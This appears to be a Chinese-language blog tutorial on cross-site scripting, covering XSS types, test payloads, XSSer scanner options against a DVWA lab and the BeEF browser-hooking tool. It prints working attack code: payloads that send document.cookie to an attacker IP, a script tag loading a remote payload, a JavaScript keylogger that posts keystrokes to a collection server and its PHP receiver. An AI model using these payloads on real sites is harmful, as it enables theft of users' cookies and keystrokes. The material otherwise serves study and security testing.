• XSS原理及其相应工具使用


    XSS(厉害程度:只要js能实现什么功能,xss就能对client造成什么伤害):

     

    原理:通过web站点漏洞,向客户端交付恶意脚本代码,实现对客户端的攻击目的

     

    主要攻击目的(网页挂马:通过XSS向前端页面插入一个包含恶意js的链接,client访问这个页面时就同时请求执行了该恶意js,这个恶意js就是网页木马)

    1、盗取cookie(收集存在XSS漏洞网站用户的cookie)

    2、重定向(访问真实页面时直接跳转到博彩页面或者钓鱼网站)

    3DDOS第三方(把需要大量算力的URL贴在存在XSS漏洞的网站上,这样访问该网站的用户就都会去请求那个需要大量算力的URL,进而对该URL服务器进行CC攻击)

     

     

    分类:

    1、存储型(持久型)  ===> js脚本上传至server,其他用户访问server时都会加载这个jse.g: 论坛发帖,server没有对帖子内容进行过滤,导致上传了一段js脚本

    2、反射型(非持久)(发给目标什么东西就必须返回什么东西,不能有变化)  ===> client将恶意js发给server(client可将js包含在get请求头中)server再将这个js返回给clientclient就能在浏览器里运行这个js了  ===> 通过社工方式将带有js脚本的链接发送给受害者,e.g: http://1.1.1.1/id=js脚本

    3DOM(本质上也是一种反射型)   ===> 不必将js上传至server就能在client执行

     

     

     

    POC验证原理:

     

    向所有变量注入js代码进行测试

     

    测试语句(Poc)

    <script>alert('xss')</script>   ===> js弹窗

    <a href=http://192.168.1.1>click</a>   ===> html超链接

    <script>window.location='http://www.baidu.com'</script>   ===> 重定向至百度

    <script>new Image().src="http://172.20.163.101/admin.php?output="+document.cookie;</script>   ===> cookie发送至172.20.163.101

    <script src=http://172.20.163.101/a.js></script>  ===> 自动请求http://172.20.163.101/a.js,可以在http://172.20.163.101/a.js存放真正的恶意js脚本

     

     

     

     

    网页挂马实现举例(键盘记录功能)

     

    原理:

    1、通过xss将网页木马文件链接上传至漏洞服务器  <script src=http://172.20.163.101/a.js></script>

    2client访问该服务器时将请求并执行http://172.20.163.101/a.js

    3a.jsclient的键盘记录发送至指定服务器   ("POST","http://172.20.163.101/keylogger.php",true)

     

     

    键盘记录器(js代码)

     

    document.onkeypress = function(evt) {

      evt = evt || window.event

      key = String.fromCharCode(evt.charCode)

      if (key) {

        var http = new XMLHttpRequest();

        var param = encodeURI(key)

        http.open("POST","http://172.20.163.101/keylogger.php",true);   =====> 将记录到的结果发送到http://172.20.163.101/keylogger.php

        http.setRequestHeader("Content-type","application/x-www-form-urlencoded");

        http.send("key="+param);

      }

    }

     

     

    密码接收器(php代码,注意:此代码只能记录当前页面的键盘记录,不能记录其他网站页面的键盘记录)

     

    <?php

    $key=$_POST['key'];

    $logfile="keylog.txt";      ======> 将接收到的结果存在keylog.txt文件内

    $fp = fopen($logfile, "a");

    fwrite($fp, $key);

    fclose($fp);

    ?>

     

     

     

     

     

     

    Xsser(XSS漏洞检测工具)

     

    xsser --gtk   ===> 图形化界面打开方式

     

    xsser使用举例: xsser -u "http://172.20.163.115/dvwa/vulnerabilities/" -g "xss_r/?name=" --cookie="security=low; PHPSESSID=34554fae634cb96063453427536bda0b" -s -v --reverse-check

     

    -u 待检测url(注意:只写到倒数第二级目录)

    -g 使用GET方法,使用POST方法时可换用'-p'参数。后跟要检测的变量名称(注意要带上变量上一级目录)

    --cookie cookie信息

    -s 显示总共发送了多少次探测payload

    -v 显示详细信息

    --reverse-check:如果不加这个参数xsser会只发送一个hash值给服务器,看是否能将该hash原封不动的返回回来。但是这样可能会有一个问题:服务器没有过滤hash值,但过滤了html(js)代码,造成了xsser显示有xss漏洞,但是不能真正利用。加这个参数后xsser会再发送一个真正的js脚本来检测(发送的js脚本功能为主动连接自己某个端口,如果xsser发现将js发送过去后它又来连接自己制定端口了就说明对方存在xss漏洞)

     

     

    --heuristic 检查被过滤的字符(有些安全设备可能会过滤掉一些特定字符,利用此参数可以查看安全设备过滤掉了哪些字符)(原理:按个儿发送单个可能被过滤的字符,看是否有返回这个字符)

     

    以下参数为对提交的数据进行编码

    --Str               Use method String.FromCharCode()

    --Une               Use Unescape() function

    --Mix               Mix String.FromCharCode() and Unescape()

    --Dec               Use Decimal encoding

    --Hex               Use Hexadecimal encoding

    --Hes               Use Hexadecimal encoding with semicolons

    --Dwo               Encode IP addresses with DWORD

    --Doo               Encode IP addresses with Octal

    --Cem=CEM           Set different 'Character Encoding Mutations'

                            (reversing obfuscators) (ex: 'Mix,Une,Str,Hex')

     

    除指定变量外再对一些特殊的地方注入:

    --Coo               COOKIE进行xss注入检测

    --Xsa               user-agent进行xss注入检测

    --Xsr               Referer进行xss注入检测

    --Dcp               对数据控制协议进行xss注入检测

    --Dom               DOM型进行xss注入检测

    --Ind               IND - HTTP Response Splitting Induced code

    --Anchor            ANC - Use Anchor Stealth payloader (DOM shadows!)

     

     

     

     

     

     

     

    beef(可以操纵用户的浏览器)

     

    利用XSS漏洞或者中间人劫持将特定js<script src="http://<beef服务器的IP>:3000/hook.js"></script>)插入网页,这个js将控制客户端浏览器并返连至beef服务器。

     

    换句话说:<script src="http://<beef服务器的IP>:3000/hook.js"></script> 就是一个js木马,beef服务器就是木马的server端。

     

     

    菜单详解:

     

    Details: 浏览器、插件版本信息;操作系统信息

     

    Logs:记录浏览器的动作,比如焦点变化、鼠标点击、信息输入等

     

    Commands:命令模块

    绿色模块:表示模块适合目标浏览器,并且执行结果对客户端不可见

    红色模块:表示模块不适用于当前用户,有些红色模块也可正常执行

    橙色模块:模块可用,但结果对用户可见(CAM弹窗申请权限等)

    灰色模块:模块未在目标浏览器上测试过

     

     

  • 相关阅读:
    [arm]虚拟机,2440开发板,主机三者互通
    Linux下的lds链接脚本简介(四)
    Linux下的lds链接脚本简介(三)
    Linux下的lds链接脚本简介(二)
    Linux下的lds链接脚本简介(一)
    程序员面试资源大收集
    Source Insight 3.50.0065使用详解
    DNW烧写FL2440 NAND Flash分区
    php isset()与empty()的使用
    JSON.parse()和JSON.stringify()的区别
  • 原文地址:https://www.cnblogs.com/baihualin/p/10954728.html
Copyright © 2020-2023  润新知